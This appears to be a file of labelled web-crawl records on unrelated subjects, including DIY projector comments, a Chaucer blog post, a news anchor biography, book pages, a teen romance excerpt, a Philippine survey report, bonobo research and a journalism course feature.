smartphone works the same way, but the screen size can't go much over 20" or the image is unwatchable. 15" worked great, and 20" was okay. Since the dissipation of the light reduces the brightness on the screen, it's more of a novelty than anything practical, but in my experience, the image is watchable and the idea will hopefully be enjoyed. If anything, it's a party trick you can pull out for your next get-together with friends. If you haven't see the video yet, it's not too late. Watch it here! And if you like this project, perhaps you'll like some of my others. Check them out at thekingofrandom.com. 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How To: WonderHowTo Book Giveaway! News: Disneyland Paris - Swing Tilt Madness News: Hidden Staircase, Roller Coaster of Madness, and More: This Week's Staff Choice Award Winners Indie Game Review Round-Up: Radical Fishing, Super Crate Box & Serious Sam Julio Pimentel 6 years ago Devin VanDerKamp 6 years ago Couldn't a second lense be added to correct the immage, rather than flipping the device upside down? In theory, that would also fix the issues with backwards text. Linda Keevers 6 years ago the old box brownie cameras had a mirror inside them,someting to do with this,i think. i followed all the instructions for the projector as i am an artist and was hoping to get an image from my laptop to the canvas. i got nothing showing except light,why? do i need to be a certain distance away? Jacob Hefner 6 years ago Probably. I made one of these things for my ipod and i figured out if I had 3 magnidying lenses I could put on on the projecting end, on right in front of the ipod and one in the middle, I could capture more light and be able to focus it easier than moving the box. But same with all DIY projects. It will never be better than a professional projector. Jez Von Brown 6 years ago Or how to be an official cheap mofo ^^ Ronald Ferreira 5 years ago neato i did this one from build your own tv projector with the box attached to the screen. if you have a 45 degree angle mirror you can make things clear. and upright Emily Ann Robinson 5 years ago can you explain more about the mirror? :) Tony Walker 5 years ago About a year ago, my wife and I renovated our home in Fort Lauderdale. We wanted to enjoy a cinematic experience from the comfort of our own home, but we did not have a huge room to work with. Thanks to the team at Pure Audio Video, we got a beautifully designed room that looks and sounds far better than the local movie theaters! What I admired the most is that they listened to our priorities and delivered the room that we envisioned. Contact them today at www.pureaudiovideo.com or (954)-581-4434.	cc/2020-05/en_middle_0032.json.gz/line7899
__label__cc	0.714142	0.285858	← The Resonance of Arthur The Supply Chain Planner’s Tale → The Nanny’s Tale Posted on April 8, 2011 by Matt's Tale Never judge a book by it’s cover Unknown origin Last Saturday night, 2 April 2011, I met up with some others who I have met in my journey back along the road I chose not to travel when I first came to the UK in 1991. That road is the one from Winchester to Canterbury that I now know to be The Pilgrim’s Way and, perhaps now even better still, as the road associated with the pubs from Sir Geoffrey Chaucer’s Canterbury Tales. Indeed, to get as close as we could to what relates to the road that’s here nowadays – rather than what is still there from Chaucer’s day – we met at The Tabard, a little pub in Acton named after the pub that Chaucer and his fellow travellers first met at. The first Tabard, set in Southwark, no longer exists – and, in my mind, there are too few pubs in that part of London that really create the atmosphere that might have existed in Chaucer’s day. The Tabard in Acton, by contrast, has a great atmosphere that embraces its local community and is perhaps more true to being a real alehouse than many along the actual road these days. The Tabard, Acton So it was there myself and a few others met to compare stories of how we came to discover this well-worn road – and I realised, by contrast to their stories (which hope to pass on), that mine is probably less interesting due to being such a late and relatively boring discovery from simply reading up on the background of a BBC TV series on it that there was a connection in the book with the places where I first travelled in 1991. A strange thing did occur to me that night as we talked about it: Chaucer did not tell a tale, nor describe who he was and what he did himself – yet he did describe each of the tale tellers in detail and titled each of their tales based on what they did. Yet it’s perhaps significant that the tales themselves bear no relation at all to the teller. So hold that thought, for I have a tale on’t from events that unfolded!! It was later that night, after this first gathering of pilgrims and travellers on the road of the Canterbury Tales, that two of us went on afterwards to see what another pub was like in that part of Chiswick. It was the big 6 foot 5 inch, wiry and blonde-haired John, and I, the rather portly and balding 5 foot 7 one, who ventured forth into the bewitching hours of the night as The Tabard wound down its welcome for the evening. To be as honest as possible about it, it was perhaps more akin to Friar Tuck and Little John, out of The Tales of Robin Hood, heading out on the town together – if we are to liken ourselves to anybody and reference classical literature to do it. Anyway, our actual day jobs sound boring by contrast – so let’s NOT let them detract from the tale born of too many White Knights that is to be told here (or perhaps foretold?). Coz, yes, we had both imbibed quite a few real ales earlier at The Tabard – and one in particular called White Knight. I did think about trying a pint of Doom, although – given how I subsequently felt on Sunday after all those White Knights – I’m glad I didn’t. Nevertheless, it was spurred on by those auspiciously named ales that I agreed to let John introduce me to a local Blues bar he likes there in his “manor”, as Brits often call the neighbourhood they live in. Twas there, perhaps spurred on further by a more common real ale by the name of London Pride, that we encountered two damsels in distress due to some overly keen men foisting their attentions on them. Feigning familiarity, we (somehow) fooled the gents into thinking that we were the ones that they had been waiting for – which seemed to do the trick in moving the less likely lads on. Now, bearing in mind the rarity of finding people like I’d just met earlier that evening, I was not really expecting to find anyone likely to know a lot about The Canterbury Tales. Even less so, when we found out that the girls worked as nannies. Nevertheless, they were as curious about us and how we came to know each other and be there – as we seemed to them to be an unlikely pair to be there, given our disparity in sizes. So, not expecting them to know about it, I decided to tell them. To my surprise, one of the girls – whose name is Petra – not only had heard about the tales back home in her native Slovakia but also about a rumour that they parody stories told in Europe by one Boccaccio Dekameron. Moreover, it turns out that she is also interested in these sorts of stories and the experiences that people have along the way. This surprised her friend, as much as it surprised me. Suddenly the cover of Chaucer’s book dropped on me, as well as a curious insight into why he titled his stories so. They tell the tales that can be heard from, as much as appreciated by, Everyman, and perhaps much more than just knightly deeds popular in the court of his day. So clearly Chaucer was very down-to-earth and appreciated others like that too. So it is now clear that, if living by Chaucer’s classification of pilgrims, that there must be a Nanny’s Tale told in the new modern world. To be sure, it will not necessarily be one about changing nappies and chasing children – just as The Miller’s tale did not talk about baking his daily bread nor the Nun’s Priest tale, set on April Fool’s Day, tell about a sermon instead! Nay, the Nanny’s tale will likely tell us more about the nave rather than nature of the teller – and about something they know to be true and encourage us to venture on further So perhaps, with now knowing this, I can now move on further on with this quest. Of course, being someone with the last name of Miller, I could be just telling this in jest! This entry was posted in Canterbury, Chaucer. Bookmark the permalink. 3 Responses to The Nanny’s Tale love it 🙂 you are a really good story teller. I am beginning to think that you jsut be the reincarnation of yer man Chaucer!!! if you believe in that kinda stuff of course 🙂 Thanks, Cindy! The irony is that Chaucer himself, according to The Tales, did not tell his own tale – but merely recounted others. Or did he? That is a moot point in itself, and in the book I have on it there is a theory that he had “reserved” certain tales for other characters – which tends to take the shine off it, for me, in thinking that they weren’t told by actual people he met up and rode with along that road. Certainly the tales I will be retelling will be, as much as possible, from real people – such as yourself – who I meet in travelling back down that road where the shades of my first journey began, perhaps unwittingly, back in 1991 and where the shades of his in 1371 (or thereabouts) cross. One thing though – my (Matt’s) tale does not relate to making a pilgrimage to Canterbury. Indeed, I am struggling with a prologue-style blog to the next tale right now on just who, what, when and where exactly led me to find the TWO roads I found myself on, and perhaps to getting back to one of them. I am not even sure what each of those travels are – just travels, journey or a pilgrimage? That includes this return to one of these roads less travelled. In due deference to Robert Frost’s poem, the Canterbury Road was the one I did not take in 1991, however – but perhaps because I did not really even know (or perhaps care) about who Geoffrey Chaucer is or was then, and why. However I am older now – but not necessarily any the wiser – and so perhaps that makes the difference? 😉 On that note, there is a tale I want to hear in such regards!! Indeed, perhaps at The George Inn next Monday, from a certain granny – who isn’t a granny – and why a handle like that should make a difference as well as whether age makes one any the wiser (and a good tale to go with that). So would you be up for a-telling that, m’lady? P.S. I also have a Supply Chain Planner’s tale to tell from last Saturday, which seems not unlike the Merchant’s tale in that he works for a shipping company – however, just like in The Canterbury Tales, it won’t be anything about shipping that I will retelling! 😉 P.P.S I think I even met two people whose thoughts, and stories on the day, are not unlike the Oxford Cleric and the Friar. Certainly one of the guys had a pin from Oxford and is seeking to now become a teacher!! How weird is that for a coincidence? Or am I just seeing/hearing things that I want to see/hear?	cc/2020-05/en_middle_0032.json.gz/line7911
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__label__wiki	0.603045	0.603045	home Biography Janelle Stelson Janelle Stelson Manish Published On Mon Nov 25 2019 Modified On Wed Dec 18 2019 Facts of Janelle Stelson Full Name Janelle Stelson First Name Janelle Last Name Stelson Profession Journalist Birth City Fairbanks, Alaska Awards Associated Press Awards,1 - Emmy Award Education University of Puget Sound - BA in Politics and Government, Austro-American Institute - International Politics and Advanced German Language Wiki Profile Amount 450,000 Body and Relation Status of Janelle Stelson What is Janelle Stelson marital status ? Single American news anchor, Janelle Stelson, is widely famous for her reporting work and outspoken personality. She has influenced millions of people who're engaged in the field of journalism. Throughout her journalism career, she received various associated press awards and Emmy Awards. She is currently anchoring News 8 to 6 at WGAl News with Mike Straub. Stelson was born in Fairbanks, Alaska, United States, and grew up in the Seattle area of Washington state. She is an American by her nationality and belongs to white ethnicity/race. So, is she dating anyone or married? Find more about Stelson's personal life below. Stelson's Current Relationship Status WGAL news anchor, Janelle's relationship status, is currently single. She knows how to maintain a low profile personal life. Maybe because of her secrecy, many of her fans are curious to know more about her dating life. Image: American journalist, Janelle Stelson with her cute nephew. Source: Facebook @JanelleStelsonWGAL Janelle is busy on her upcoming projects, which is an addition to her impressive career in journalism. Stelson's always involved in her work so, this might be the reason why she isn't involved in any relationship up until now. Janelle's Romantic Date with Dr. Steven Houser News 8 at ten news anchor, Stelson was once involved in a romantic relationship with Dr. Steven Houser, who was a brilliant neurosurgeon. The former couple had enjoyed the happiest moments together. Picture: Janelle Stelson dated Dr. Steven Houser, who was a top-class neurosurgeon. Unfortunately, their relationship didn't carry out for long after the demise of Houser due to brain injury at 11:07 on 10th January 2016. Stelson has penned kind words towards Houser on her Facebook posts. His assistants and colleagues of Penn Medicine Lancaster General Health Lancaster Rehab Hospital attended the death ceremony. What is her Net Worth? Janelle Stelson has a net worth of $450,000 as of 2019. She earns a handsome salary from her profession. On the other hand, the average income of a news anchor at WMTV NBC 15 is $46,100. She might be earning the same salary at WMTV channel. Check out a small clip of Janelle Stelson's Reporting Besides that, she has also made her appearance on PBS oriented news talk-show, Computer Chronicles for two episodes. Just like her, some other journalists, including Anne Thompson and John Stofflet also appear in various TV shows. Prominence in Journalism American journalist, Stelson got her first work as a speech-writer at the Embassy of Egypt situated in Washington, D.C. With some experience on her belt, she got the life turning opportunity. She received the position of general assignment reporter and weather forecaster at the news channel, WHTM-TV. Stelson made her debut reporting work when she covered hurricanes, Haiton riots, and one of the most significant drug smuggling in the United States. Since then, fans know her as a fearless journalist by the people. In addition to that, She also anchored at the 6 P.M. and 11 P.M. news programs for the WHP-TV network. Photo: Janelle Stelson and her co-anchor, Mike Straub, won Emmy Awards for best reporting at News 8 on WGAl News. Aside from this, Janelle garnered many accolades and achievements throughout her professional career. She is the recipient of many Associated Press Awards since 1997. Her other news credits are with popular networks like WISN-TV, WLWT-TV, WCVB-TV, and many more. Read More Amusing Biographies & Articles Which Might Be Your Favorite Ones At Married Celeb!!! American Journalist Ayman Mohyeldin Thu Jun 13 2019 Jennifer Lahmers Laura Garcia Lisa Marie Boothe Wed May 29 2019 Scott Mcgrew Tue Jun 18 2019 Stephanie Ruhle Melanie Lawson Katy Blakey Fri Jun 21 2019 Tiffany Greene American Reporter Sophia Minnaert Bio, Net Worth, Salary, Married, Husband, Facts Christie Ileto Tue May 28 2019	cc/2020-05/en_middle_0032.json.gz/line7931
__label__cc	0.602722	0.397278	Preparing your PDF for download... There was a problem with your download, please contact the server administrator. Changing gender roles and attitudes to family formation in Ireland By Margret Fine-Davis Buy Now £80.00 Delivery Exc. North and South America Buy Now $120.00 Delivery to North and South America Click Here to Buy from Your Preferred Bookseller ALSO AVAILABLE IN OTHER FORMATS: Click here for North and South America read sample chapter Recommend to librarian Buy Rights to this title Request a Review or Inspection Copy Download/Print Leaflet Published Date: July 2016 BIC Category: Ireland, Sociology: Family & Relationships, SOCIAL SCIENCE / Sociology / Marriage & Family, HISTORY / Europe / Ireland, Sociology: family & relationships, Sociology Series: Irish Society Recent decades have witnessed major changes in gender roles and family patterns, as well as a falling birth rate in Ireland and the rest of Europe. While the traditional family is now being replaced in many cases by new family forms, we do not know the reasons why people are making the choices they are and whether or not these choices are leading to greater well-being. While demographic research has attempted to explain the new trends in family formation and fertility, there has been little research on people's attitudes to family formation and having children. This book presents the results of the first major study to examine people's attitudes to family formation and childbearing in Ireland. Based on a nationwide representative sample of 1,404 men and women in the childbearing age group, the study was carried out against a backdrop of changing gender role attitudes and behaviour as well as significant demographic change. 1. Changing gender roles and family formation: overview of key issues and previous research 2. Method 3. Attitudes to gender roles 4. Family formation: attitudes and behaviour 5. Attitudes to having children and childlessness 6. People's priorities and values 7. Attitudes to social policies relevant to family formation 8. Predictors of family status 9. Predictors of ideal and expected family size 10. The effect of family status on well-being 11. Summary and discussion Image operations The military-humanitarian complex in Afghanistan Ethical and legal debates in Irish healthcare Immigration and housing in the Republic of Ireland Women and the Orange Order Ireland and the Freedom of Information Act Hardcover £80.00 / $120.00 Or buy from your preferred bookseller:	cc/2020-05/en_middle_0032.json.gz/line7934
__label__cc	0.518827	0.481173	Randy as a Goat by Linda G Mooney Publisher: Music and Press E-Book 1.99 Author Page: Linda G Mooney Randy Greebley is your typical teenage boy, with typical teenage boy issues, except for one big difference – when he gets horny, he tends to get “horny.” Literally. His feelings for his best friend Cricket have grown recently, and it’s becoming more than obvious, making it harder for him to hide his other side whenever he sees her. A nerdy, middle-class farm boy, Randy doesn’t really have a lot to offer Cricket, but he can’t let graduation pass without letting her know his true feelings. Can Randy get up the courage to reveal his secret and tell her how he truly feels? Does she feel the same, or will he always be stuck in the friendzone? A senior class trip to the water park could be the hardest test of all for them both. “Hey, Crick. I didn’t think you’d be working today.” “Dad called me to come in for an hour or two. Just to help with the rush. Hey! I’m glad you’re here!” Reaching out, she grabbed him by the arm. “Guess what? There was a letter waiting for me when I got home. Randy, I got accepted into Northern State up in Templeton! Isn’t that fantastic? And, better yet, the school already informed them I’ll be the valedictorian, so my books and tuition are free for the first year! Isn’t that great?” He couldn’t help but revel in her enthusiasm. Smiling broadly, he swept her into a big hug, which she returned. The feel of her warm, firm body against his sent tingles over his skin, warning him of a possible change. Although he would have loved to keep holding her, he reluctantly pushed her away and forced a smile on his face. “That’s terrific! I’m happy for you! Templeton? Wow. That’s quite a distance away.” “They have an excellent nursing school.” “Oh?” His eyes widened. “You’ve decided on that for your major?” “I’ve been thinking about it. I dunno.” She smiled shyly. “I’m not real sure that’s what I want to do, but I got two years to make my final decision. I can take all my prelim classes like English Lit and Advanced Algebra and all, to begin with.” He stared down at her, at the sparkle in her blue eyes. Involuntarily, his eyes dropped to her lips. They were wet-looking. Inviting. So tempting. If only he could lean forward just another couple of inches. “Cricket! Up front!” Mr. Summerland called from where he was standing near the fishing tackle. “Gotta go,” she whispered, adding a wink and a little wave. “See you tomorrow!” She sauntered off, her hips swaying perkily as she departed. Randy stared, mesmerized by the sexy way she walked. Her jeans were just a tad on the tight side, riding low around the hips. Every now and then he caught a brief glimpse of flesh and the tiniest sliver of purple that had to be her underwear. His hands itched to touch her again. A hat was suddenly jammed over his head. Completely unaware of his father’s presence, he reached to take it off when a hand jerked his away. “Hey!” A face shoved itself in front of his. His father’s scowl stopped him in his tracks. “That one looks good on you,” the man noted in a voice that was too tense to ignore. “I think we’ll take it. Just add it to my bill, would you, Sherm?” Randy swiveled around to see Sherman, one of the store’s employees, scanning the tag on an identical ball cap. Reaching up, Randy started to remove the hat again, when his father leaned in closer. “Keep it on.” There was no mistaking the direct and angry order. “Go wait for me in the truck.” Quietly, he hurried to return to their vehicle that was already loaded. Apparently his father had come inside, wondering what was taking Randy so long. And it was a good thing he had. Once he was inside the cab, he dropped the visor to where he could see into the built-in mirror. Cautiously, he slowly lifted the brim of the cap. Yep. The horns were back. “Well, shit,” he muttered to himself. Not only did he barely miss being outed in public, but he’d cost his family the price of a hat that they sorely didn’t need to have added to their bill. Sitting dejectedly in his seat, Randy waited for his dad to get back. It was going to be a long ride home, and he was already dreading the dressing down he was going to get along the way. WARNING: MAY BE TOO HOT TO HANDLE Elle Gray looks like a supermodel, thinks like a super agent, and can kill a man with her bare hands. But when she meets Dr. Beau Ruston, the brilliant scientist and ex-college football star in charge of the project... Some Like it Rough Kate Pearce, Susan Lyons, & Anne Rainey print anthology Anne's Story: Cherry On Top Dante has a thing for cherries...ripe, juicy luscious cherries! Workaholic Dante Ricci doesn’t have time for wome... The Halle Shifters Alexander “Bunny” Bunsun is a Bear on a mission. He arrives in Halle, PA for the sole purpose of checking up on his cousin Chloe. Something is not right, and the family has sent Alex, along with Chloe’s brother... Wild Hearts When Shyla Smith learns of her grandfather’s death, she travels to Hood River to put his estate in order. Shyla’s not thrilled with staying at his humble cabin in the middle of a forest, and when a welcoming committee of four wild wolves ... Jacqueline Paige Gracelyn is barely out of her teens when her only sister, in a fit of temper, curses her so she’s forgotten the moment anyone turns away from her. Only one thing at an exact moment can break the curse – but after years of failed attemp... Two For Hire Rie McGaha Ian James was raised in the lap of luxury, but he was also raised knowing that nothing worth having comes without working for it. Expected to follow in his father’s footsteps and take over the law firm one day, Ian works as an errand boy during the s...	cc/2020-05/en_middle_0032.json.gz/line7935
__label__wiki	0.83706	0.83706	/ TOP STORIES 3 out of 10 say life improved in past 12 months posted May 25, 2019 at 01:35 am by Nathaniel Mariano Three in 10 Filipinos believed their personal quality of life has improved in the past 12 months, the latest Social Weather Stations’ survey revealed on Friday. In its survey, SWS said 38 percent of Filipinos said the state of their lives improved while fewer Filipinos at 21 percent said the quality of their lives has worsened. Presidential Spokesman Salvador Panelo said the latest figures was a wake-up call to those who oppose the Duterte administration. “This is yet another loud repudiation against, and yet another wake-up call to, the critics and detractors of the Duterte administration, which include the left-leaning groups, militant church members and the political opposition, who continuously and deliberately ignore our achievements which redound to the benefit of the Filipino masses,” Panelo said in a statement. SWS said the latest figures revealed a five-point increase in net gainers’ score from “very high” + 12 in December 2018 to +17 in March 2019, which was classified by SWS as “very high.” The five-point rise in the national net gainers’ score was due to increases in major areas. Net Gainers rose by nine points in the Visayas, from +3 (high) in December to +12 (very high) in March. It also rose by seven points in Metro Manila, from +14 (very high) in December to +21 (excellent) in March. In Balance Luzon, it rose by six points, from +13 (very high) in December to +19 (very high) in March. However, it decreased by two points in Mindanao, from +18 (very high) in December 2018 to +16 (very high) in March 2019. Net gainers increased among classes ABC and D. “It rose by 8 points among class ABC from +23 (excellent) in December 2018 to +31 (excellent) in March 2019. Among class D, it rose by seven points, from +11 (very high) in December 2018 to +18 (very high) this March,” it said. It fell, however, among class E, registering a decline of four points from +12 (very high) in December 2018 to +8 (high) in March 2019. SWS said there were more net optimists—or those who expect their personal quality of life to improve in the next 12 months--than pessimists. Some 50 percent of the respondents were optimists, while 4 percent were pessimists, the SWS said, saying this resulted in a net optimist score of +47, which was “excellent,” and seven points up from +40 in December 2018. The 7-point increase in the net personal optimists’ score was due to increases in all areas except in Metro Manila where it decreased by two points from +44 in December 2018 to +42 in March 2019. The survey, conducted from March 28 to 31, 2019, used face-to-face interviews of 1,440 adults. It had sampling error margins of ±2.6 percent for national percentages, and ±5 percent each for Balance Luzon, Metro Manila, the Visayas, and Mindanao. READ: Survey: More Pinoys view lives improved Topics: Social Weather Stations , Salvador Panelo , quality of life , Filipinos , improved Is Duterte it? Leni’s rating dives amid ‘black prop’ Go gets going, surges to top 3 in poll survey; Poe still ahead	cc/2020-05/en_middle_0032.json.gz/line7936
__label__wiki	0.552923	0.552923	Female bonobos use homosexual sex to increase social status (PhysOrg.com) — Female bonobos (Pan paniscus) often form strong bonds with other females, and these bonds affect their position in the social hierarchy. Scientists from St Andrews University in the UK looked at the part sexual interactions might play in the formation of these social bonds, since female bonobos are known to often engage in sexual contacts with other females. Female Bonobo. Image: Wikipedia. The researchers, Zanna Clay and Klaus Zuberbühler, observed bonobos in the naturalistic setting of the Lola Ya Bonobo Sanctuary at Kinshasa, in the Democratic Republic of the Congo in central Africa. They found that high-ranking females rarely interacted sexually with other females, but low-ranking females interacted sexually with all females. Most of these sexual contacts were initiated by the female having higher status in the group; sexual contact initiated with lower-ranking females was usually ignored by those of higher rank. The scientists also found that the “copulation calls” of squeals and screams, made by females during genital contact with other females, were affected by the social rank of both participants, and by the audience present. The calls were significantly more prominent if the alpha female was among the audience, and females of lower rank were more likely to make calls if they were interacting with high-ranking females. The call duration and volume were not found to be related to physical factors such as duration of the sexual contact or body position. The results of the study suggest that sexual interactions between female bonobos play an important part in building the social structure, especially in acting as a mechanism for low-ranking females to build and strengthen their alliances with females of higher social ranking. The results also suggest that copulation calls, which might be presumed to have originally evolved to play a part in reproduction, now serve other purposes. As well as observations in the field, the scientists also carried out controlled experiments to test their hypothesis that the copulation calls were being used as social signals advertising the success of the low-ranking females in attracting attention from a female of higher rank. In these experiments male bonobos were excluded, but the same behavior was observed in the female bonobos as had been seen in the field. They concluded that the homosexual contact between female bonobos was an important means for low-ranking females to consolidate bonds with other females in order to enhance their social status, and was also an important mechanism for higher ranking females to exert their dominance over those of lower rank. Bonobo groups, unlike closely related chimpanzees, are not male dominated, and the close alliances between females may partly explain this difference. Female bonobos also have a special need to climb the rungs of the social ladder in their society since juvenile females leave the group in which they were born and join a new group in which to spend their adulthood. On arrival, they begin as low-ranking females, and rising in the ranks quickly increases their chances of successfully mating with desirable males. More information: Communication during sex among female bonobos: effects of dominance, solicitation and audience, Scientific Reports 2, Article number: 291 doi:10.1038/srep00291 Bonobo females frequently form close bonds, which give them social power over other group members. One potential mechanism to facilitate female bonding is the performance of sexual interactions. Using naturalistic observations and experiments, we found various patterns that determined female-female sexual interactions. First, while low-ranked females interacted with all females, sexual interactions between high-ranked females were rare. Second, during genital contacts, females sometimes produced ‘copulation calls’, which were significantly affected by the rank of the caller and partner, as well as the solicitation direction. Third, there was a significant effect of the alpha female as a bystander, while variables relating to physical experience had no effects. Overall, results highlight the importance of sexual interactions for bonobo female social relations. Copulation calls are an important tool during this process, suggesting that they have become ritualised, beyond their reproductive function, to serve as broader social signals in flexible and potentially strategic ways. © 2011 PhysOrg.com http://www.physorg.com/news/2012-03-female-bonobos-homosexual-sex-social.html Posted in: Bonobos, female sexuality, sex, social networks ← The female of the species is more digital than the male When States Abuse Women →	cc/2020-05/en_middle_0032.json.gz/line7937
__label__wiki	0.624231	0.624231	Journalism \| Student News Students in Words and Pictures heard from the Pulitzer Prize-winning team of Tampa Bay Times reporters this fall. The team, including (from left) Nathaniel Lash, Dirk Shadd, Cara Fitzpatrick and Lisa Gartner, discussed how a team works together on an in-depth project. (Jim Kelly \| The Media School) Photography, writing and multimedia come together to create a model newsroom in MSCH-J460 Words and Pictures. Professional of practice Tom French, associate professor Jim Kelly and lecturer Bonnie Layton teach this invitation-only course. Each teaches his or her own section of the class with a different focus, then the three sections come together once a week to collaborate. Students in the course are organized into eight teams, each with one student from each section. Each team spends the entire semester reporting on a single story. “We are trying to teach them how to work in an ideal newsroom setting where all these roles are treated equally and democratically,” Layton said. Layton’s section focuses on multimedia reporting, the students in Kelly’s section are all photographers and work with Kelly to learn and practice photojournalism techniques, and French’s students spend the semester reporting and writing. The students collectively learn about ethics, commitment to their stories and what choices to make when reporting. Senior Katelyn Rowe was in the fall class, the second time she’s complete the course. The first time, she was as photographer, and this fall, she worked on the multimedia project. She said she’s learned how important every second of reporting is, and how amazing people are when they are willing to open up to you as a reporter. “When you’re given three months to work on something, it’s crazy what comes out of it,” Rowe said. There were weeks when her team spent more than 20 hours reporting on their story, but she says every stressful hour was so worth it. Her group’s story on women’s reproductive rights will be published in March. Students in Words and Pictures publish their story packages through the Indiana Daily Student at the end of the semester, using custom web designs to showcase the photos and story. (Screenshot of IDS) At the beginning of the semester, each team develops an idea, the hardest part, said French. The story idea must be visual for photography and multimedia, but riveting enough for the in-depth reporting. Some students are put off by group projects, but working in teams is what makes this class so beneficial to students, Kelly said. “The goal of the class is for the students to advance their reporting skills, but especially to learn to collaborate with other journalists who work in different media,” said Kelly. Rebecca Mehling worked as a photo editor for the Indiana Daily Student the same semester she took the photography section of Words and Pictures. She said all her hard work within her group was rewarding. Her team’s story on the opioid epidemic will be published in February. “It’s a lot of work,” Mehling said. “You learn a lot and you’re actually reporting on issues that matter.” The work pays off in high-quality, published portfolio pieces as well as potential accolades. Many of the course’s final stories have won awards in student journalism contests, bringing attention to the course as well as to the IDS, which usually publishes the packages. “This isn’t just the best student journalism,” said French. “This is some of the best journalism in the country.” See stories produced by the Words and Pictures teams here: Read about a man who saves exotic cats from mistreatment. See how logging has affected Indiana forests. Learn about consent in the first part of a series on sexual assault. Read about the red zone in the second part of a series on sexual assault. Read about other unique classes. Check out Game Design Workshop. Learn about 812 The Magazine. Read about three film production courses.	cc/2020-05/en_middle_0032.json.gz/line7941
__label__wiki	0.778638	0.778638	Megan Prelinger's Projects Author, Cultural Historian, and Archivist Inside the Machine: Art and Invention in the Electronic Age By Megan Prelinger Publisher: W. W. Norton & Company Available in: hardcover Buy from Local BooksellerBuy at Amazon A highly original cultural history of 20th century technology examined through the lens of commercial art. . . . Sophisticated in its grasp of science and technological history but also accessible to general readers. Drawings of rotating atoms and mid-century robots will provide geeky pleasure for any science fan, and Prelinger spins her impressive research into a broad cultural study. An essential and eye-popping visual history of electronics, a glimpse of the electronic infrastructure captured in the brief moment before it miniaturized down to a scale too small for the eye to see, disappearing from our ordinary view forever, even as it burrowed into our buildings, streets, vehicles, and even our bodies. — Cory Doctorow, co-editor of Boing Boing and author of In Real Life and Information Doesn’t Want to Be Free A tour de force of the computer and electronic age that takes readers on a fascinating voyage that spans everything from graphic renderings of theoretical space gondolas to depictions of transistors as the route to utopia. Like Trevor Paglen’s exploration of the visual aspects of secrecy, Megan Prelinger’s Inside the Machine provides readers with a unique window into the history of electronics and computer science during the Cold War, and beyond. Merging science with art, Prelinger challenges our linear notions of scientific progress, helping us see a new dimension to our modern technological world. — Sharon Weinberger, author of Imaginary Weapons: A Journey Through the Pentagon’s Scientific Underworld Because electrons are mostly invisible, our visualizations of them tell us more about our dreams than about electrons. This cool and unusual book gathers our earliest collective dreams about circuits and electronics, and makes them visible. It got me thinking about our assumptions for tomorrow. I love it when a book like this makes me see the world differently. — Kevin Kelly, senior maverick for Wired magazine and author of What Technology Wants In the early twentieth century, engineers learned to harness the flow of a powerful, invisible force: electrons. The technological revolution that began with this discovery would change human lives forever. Yet the enormous electronic infrastructures and networks that shape our world today remain hidden from our sight. In INSIDE THE MACHINE: Art and Invention in the Electronic Age, cultural historian Megan Prelinger guides readers through the history of electronics to show how a generation of commercial and fine artists rendered the most intangible and complex innovations of the twentieth century, irrevocably shaping our collective dreams of the digital. A full-color, large-format exploration of the electronic age, INSIDE THE MACHINE brings together the history of technology in America with over 150 images from magazines, industry pamphlets, and out-of-print books to showcase the powerful graphic and artistic representations of this burgeoning field. In 1943, the editors of Fortune magazine declared the year of electronics and commissioned a glossy, four-panel insert to commemorate the occasion. The spread, entitled “Electronics: Techniques for a New World I,” featured rainbow-colored rays, swerving curves, American bomber planes in flight, and vacuum tubes produced by one of the electronic titans of the day: General Electric. Peter Vardo, the lead designer, created a collage that brought together big industry, technology, and pop culture, all in one magazine spread. His work for Fortune in the 1940s would later influence Jackson Pollock and receive serious attention from art historians. This story is one of many in the fascinating intersection of technology and art. Designers like Peter Vardo, German emigré and former Bauhaus professor Herbert Bayer, and the Canadian painter Walter Tandy Murch would emerge as the creative minds who gave an abstract technology creative, evocative forms that would take hold in the popular imagination. In a narrative that journeys through the emergence of vacuum tubes, crystals, circuit boards, cathode ray tubes, and mainframe computers, INSIDE THE MACHINE provides the political and cultural context to this astounding story of technological innovation. Examining companies such as IBM, Lockheed Martin, General Electric, and AT&T, Prelinger shows how they remained at the forefront of electronic innovation, shaping our modern world as it journeyed into space and explored the frontiers of automation, cybernetics, and bionics. At the same time, these companies faced the challenge of introducing their wares to a larger audience, portraying their work as both understandable and essential to the modern age. Prelinger’s discussion of the history of electronics in America is interwoven with analyses of hundreds of graphic advertisements, images, and creative designs that gave unprecedented visual forms to abstract, often invisible technologies. Artists, often fleeing a war-ravaged Europe, borrowed from the graphic traditions of Russian Futurism, Constructivism, Bauhaus, modernism, and conceptual art in giving life to images of electronics. As Prelinger shows, electronics also proved itself a remarkably suitable subject matter for modernist art: engineering symbols used for electric circuits became key components in graphic design, while ferromagnetic domains—used to conduct electron flow in a host of electronic components—became visual inspirations for paintings that crossed over into the sphere of high art. Companies such as General Electric worked with designers like Herbert Bayer or the fine artist Kevin Staley, whose oil paintings of ferromagnetic domains for GE would gain critical acclaim in the 1960s art world. Artists like the Swiss-born modernist Willi Baum were hired as staff artists for companies such as Lockheed Martin in designing promotional materials to recruit engineers. Conversely, some of the processes that would become key to manufacturing electronics were derived from artistic practices, such as using silk-screening to formulate resistors within printed circuits. INSIDE THE MACHINE shows how this fruitful conversation between engineering and art led to a huge body of midcentury work that would give our changing world and its abstract technologies a new visual language. Then there were artists who gave form to our utopian dreams of the promises technology held, ushering in an era of space-age iconography. With the beginning of the Cold War came space electronics. Large American aircraft firms such as Lockheed, the Martin Company, and Bell Aircraft sought to redefine themselves as aerospace companies that could provide missiles and rockets for a growing defense industry. As the space race took off, designers dreamed up fantastical advertisements showing space technology that did not yet exist—or that was still in prototype stages, depicting elaborate sci-fi scenarios that seemed just over the horizon. A dazzling exploration of the history of electronics as well as the men and women who shaped our dreams of the digital, INSIDE THE MACHINE reveals how art and technology worked hand in hand to create bold visions for a future world. COLOR ILLUSTRATIONS: 154 Copyright © 2020 Megan Prelinger · All rights reserved · Website by Silver Rockets.	cc/2020-05/en_middle_0032.json.gz/line7943
